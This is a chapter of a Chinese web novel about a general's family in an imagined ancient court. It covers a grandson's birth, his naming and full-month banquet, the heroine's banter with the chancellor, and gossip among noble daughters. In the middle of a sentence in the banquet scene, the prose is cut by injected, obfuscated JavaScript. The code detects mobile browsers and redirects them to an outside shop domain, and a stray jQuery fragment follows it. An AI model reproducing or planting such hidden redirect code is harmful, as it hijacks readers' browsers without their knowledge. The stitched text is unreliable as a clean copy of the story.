春日宴过后,晋王府和户部侍郎徐府皆停官了,而当事者徐昭容被赐了鸩酒当晚就归西了,晋王之子齐韩元则不得袭爵,不得入朝为官。
这时代对女性还是苛刻的,犯错的是两个人,一个没了命,一个只是重罚而已。
又过了几天,沈若若总算是有动静了,从半夜便开始疼,一直到正午时分孩子才出来。
接生婆都说孩子命格好,专挑了个诛邪不侵的时辰。
楚景瑞抱着孩子甭提有多高兴了。
楚芳宁无语的踹了他一脚,后者一脸懵的看着自家妹妹,而楚婉怡有样学样,但她不敢踢大哥,只是哼哧了一声,跟着跑了进去。
楚芳宁走到了产房里,握住沈若若虚弱的手:“若若,你怎么样,还疼不疼?”
一样活泼可爱的姑娘如今面色惨白,额头密布冷汗,她虚弱的摇摇头,说不出话。
楚芳宁瞧着眼泪都要出来了,生孩子竟然真的这般遭罪。
楚婉怡跟着说道:“嫂嫂一定很疼吧,小侄子胖嘟嘟的接生婆说应该有七斤五两,是个实打实的大胖小子!”
沈若若扯着脸皮笑了笑,实在是没什么力气。
“若若,为我们楚氏添了个麟儿,真是辛苦你了,这个月你且安心静养,万事有母亲呢!”程素欣和林芝也一块走了进来,怜惜的看着榻上的人。
“谢过……母亲。”她嘴唇翕动,要凑前去才能勉强听见声音。
程素欣也是真心喜爱这个儿媳妇,此时更是心疼得紧:“那你先休息,我吩咐厨房炖了汤,晚点你想喝了就喊玉竹给你端来。”
沈若若眼中含着泪,点点头。
“那我也先出去了,你刚生产完还很虚弱,好好休息。”楚芳宁嘱咐了两句拉着楚婉怡跟着母亲她们出去了。
楚景瑞、楚远山和楚景远三个光顾着围着孩子转,看的楚芳宁就气,路过的时候又白了楚景瑞这个当人家丈夫的一眼。
楚景瑞:???
他觉得楚芳宁怕是高兴坏了,今日都敢对自己这般不敬。
“大哥,你也真是的,嫂嫂替你生了这么大个儿子,你就光顾着孩子,你都不去看看嫂嫂,小心日后嫂嫂不让你进房门!”
“哎哎,女孩子家家的,说什么呢。”楚远山见女儿嘴上没个把门的连忙提醒着,又怕吓着了怀中的小宝宝轻声唤了唤:“祖父小点声,别吓到我的心肝了。”
“若若!”楚景瑞才反应过来,自家媳妇遭了这么大罪,自己竟然还只是在这看儿子,完了!
连忙溜进隔间去。
“好啦,都出去,让若若好好歇息,将军,将孩子给奶娘吧。”程素欣自然也是不想离开,只是大人和孩子都还需要休息。
见媳妇发话了,楚远山才依依不舍的将孩子递给奶娘。
次日,得知了镇北将军府长媳诞下了长孙,很多人都提前送了礼过来,大多都是孩子的。
小衣服,小鞋子,金元宝,长命锁等等乱七八糟的一堆,这些当官的惯会见风使舵,有如此表忠心的机会更是不会放过。
天悦来。
“楚文朝,字旭之,寓意,初升的太阳,美好时刻,怎么样,我小侄子这名字好听吧!”楚芳宁双手撑在榻上,得意的歪头看向侧边的魏洛敏,不难看出来,她真的好喜欢这个小孩。
“你哥文化水平是没的说,果然不同凡响。”魏洛敏宠溺的望着她,他才不管楚景瑞文化怎么样,楚芳宁觉得好,他就觉得好。
这几日楚芳宁天天往将军夫人,想见她一面都难,今日是好不容易才将人给约出来的。
明明自己已经半个月没有见到楚芳宁了,但是后者好像一点也不想自己似的。
楚芳宁肯赴约的原因还是因为沈丛和沈福林要去将军府探望若若跟孩子。
“你还真别说,我哥可是名副其实的探花郎,自己考上去的!”
“要是放在咱们现代高低也是个硕士研究生之类的水平!”
楚芳宁之前听楚景瑞在教楚景远念书,政治之道分析的有理有据,她是听都听不懂!
“肯定是随你娘了,你爹往上三代都是武将,只会读兵书,要想科举只怕你哥念到八十岁也不一定念得明白。”魏洛敏想象到那个画面就忍不住笑出了声。
“你还真别说,辅国公百世书香,家中藏书无数,我哥像外祖父那是没啥毛病!”
“你去过辅国公府?”魏洛敏疑惑的望着她,单手支着头倚在榻上和她平视着。
“没有啊,都是楚婉怡跟我说的,我连辅国公的面都没见过,哪知道他家啥样。”
“宁姐,你是不是很喜欢孩子?”说这话的时候,魏洛敏是很认真的。
“嗯嗯嗯,你不觉得很可爱吗?软软糯糯的,特别是笑起来,眉眼弯弯跟天使一样!”楚芳宁想到楚文朝的那个小脸蛋,心都要化了!
魏洛敏听见她的回答,向她挪了两步,认真地开口说着:“那我们生一个自己的,好不好?”
哈??
楚芳宁和他对视着,不停的眨着眼睛,眸光中全是自己红着脸慌乱的模样。
砰砰——砰砰——砰砰——
她听见心跳快的仿佛要跳出胸腔,战略性的咽了咽喉咙,耳边响起了自己轻柔地声音:“你…你想得美!”
楚芳宁捂着通红的脸,拔腿逃了。
开什么玩笑,孩子固然可爱,可我才不要在古代生孩子!!
瞧着沈若若生产完像快死了的样子,真的太可怕了!!
—
该说不说带娃的时间过得很快,一眨眼沈若若和楚文朝都出月了。
满月宴这天楚府更是门庭若市,天还未亮便已经做好了祭祀的准备,拜神明祭祖宗,将新生儿的名字奉入族谱。
鞭炮声络绎不绝,周遭的百姓早早的得了楚府分发的鱼肉,高兴都来不及,根本不在意吵闹。
他们普通人巴不得这些贵人们多办点好事,他们能从中得到一些好处。
“楚将军,楚大人,恭喜恭喜啊!”
“哪里哪里,快里面请,上好的茶水!”楚远山张着胳膊,迎着来来往往的客人,楚景瑞也在一旁招待宾客。
“父亲…”楚景瑞示意楚远山看前边,魏洛敏那奢靡的赤金车架正正地停在了路中间,豪华至极。
“他怎么来了,你递的帖子?”楚景远心下疑惑,在朝中他一直和魏洛敏不对付,看不过他那奸逆小人的做派,想着皇帝仪重坏事做重还一脸无辜的样子。
楚景瑞连忙摆摆手:“孩儿同他不熟,并未相邀。”
“楚将军,楚大人,恭喜喜得麟儿,添丁添旺。”在他两嘀咕时,魏洛敏走上了前抬手恭贺。
人都已经来了门前,他们总不能将人赶走,到底人家身份摆在那。
楚远山脸上立马换上笑意:“臣相大人能来寒舍,当真是我等荣光,里面请。”
魏洛敏憋笑一声,果然这老丈人也是个狡猾的狐狸,精得很。
楚芳宁这会还在沈若若房中陪着她,外面闹哄哄的,倒显得她的寝室有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792279|210430||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
些安静了。
“这小家伙真乖。”她小心翼翼地抱着孩子安抚着,小家伙睁着眼睛转着小脑袋四处张望着,也不哭闹。
晚上却是另一副光景,每晚一点灯,他便哭个不停,楚景瑞现在一到晚上恨不得扎在太子府不回来。
实在受不了的时候,他便不管了,把孩子给奶娘照看,自己则宿到偏殿。
沈若若笑话他好几次,没苦硬吃,本来孩子奶娘带的好好的,非要自己抱过来,孩子哭了又用不好,最后又灰头土脸的丢给了奶娘。
“他这哪是乖啊,是白天看得清人有安全感。”沈若若端着一碗补汤,舀了一口到嘴里,实在是不好喝。
楚芳宁抱着孩子坐了下来:“孩子嘛,都是这样的,不过你可不许又将它倒了,婉怡天还没亮就起来给你熬的。”
“实在是难喝的紧。”沈若若蹙着眉头看着那盅补汤,心里直打退堂鼓。
“一口喝完就不觉得难喝了,若是让婉怡知道,可不得跟你闹啊。”楚芳宁有些幸灾乐祸了,楚婉怡十指不沾阳春水的闺阁小姐,哪里会炖什么汤,就算是御厨在她旁边指点,也未必能好吃。
“哎,我倒宁愿她不必如此对我上心了!”沈若若眉眼下垂,叹了口气,捏着鼻子就将补药往嘴里灌。
真的太难喝了!!!
好不容易补药见了底,玉竹忙给她递去蜜饯,这才缓了些。
“傻瓜,你啊。”沈若若是被宠着长大的,自然不会懂得这份幸福对于他人而言有多难得。
楚芳宁从前也并没有体会过有家人疼爱的感觉,家人这个词直到在这里,她才感受到了那份含义,有时她也是羡慕沈若若的。
—
“你听说了吗?前几日有人撞见柔嘉县主和魏丞相在天悦来私会!”
“那场面别提多刺激了,孤男寡女干柴烈火的。”
“啊?他们!他们可是叔侄啊!魏少将军尸骨未寒,她怎么能做出这种事!?”
几个碎嘴的贵女围在一处,将不知在哪听到的话又传了一遍。
工部侍郎之女薛珍望了望周围压低了些声音:“要我觉得啊,陇西将军府摊上这样的女子真是倒了血霉了。”
“之前她不是要去陪葬的吗?怎么这次反而给她封赏了?”礼部侍郎之女钱雪儿说着心中疑问。
兵部侍郎之女甄清菀说的头头是道,好似是真的一样:“我听说是因为她进献了宝物给皇后娘娘,皇后娘娘被哄得可开心了,才替她在陛下面前说好话的。”
“都胡说些什么呢?”楚婉怡刚好路过,就听闻她们在这里编排自家姐姐,自然是不能当做不知道。
“我们又没有说错,楚芳宁跟魏丞相在天悦楼私会也不是一次两次了,整个酒楼里的人又不是瞎子。”薛珍不觉得自己有错,她觉得像楚芳宁那样的女子她是十分不屑的,陛下该如此抬举她真是老天没眼。
楚婉怡道:“如此偏听偏信,我看你们薛家也没什么好家教。”
“楚二小姐,你姐姐作风尚且如此,你莫不是也有此等行径,才如此急躁?”甄清菀捏着帕子似笑非笑的看着楚婉怡,料定了楚府家风不正。
“你…你胡说什么?!”
“你难不成还想动手?”
楚婉怡气急了,顺着便想上手,薛珍上前了一步仰起头,就不信她敢。
几人争执不下,而当时说嘴的三人里,钱雪儿早就悄悄溜走了。
就在这时,沈丛和楚景瑞听闻下人禀报有人肆意滋事,匆匆走了过来……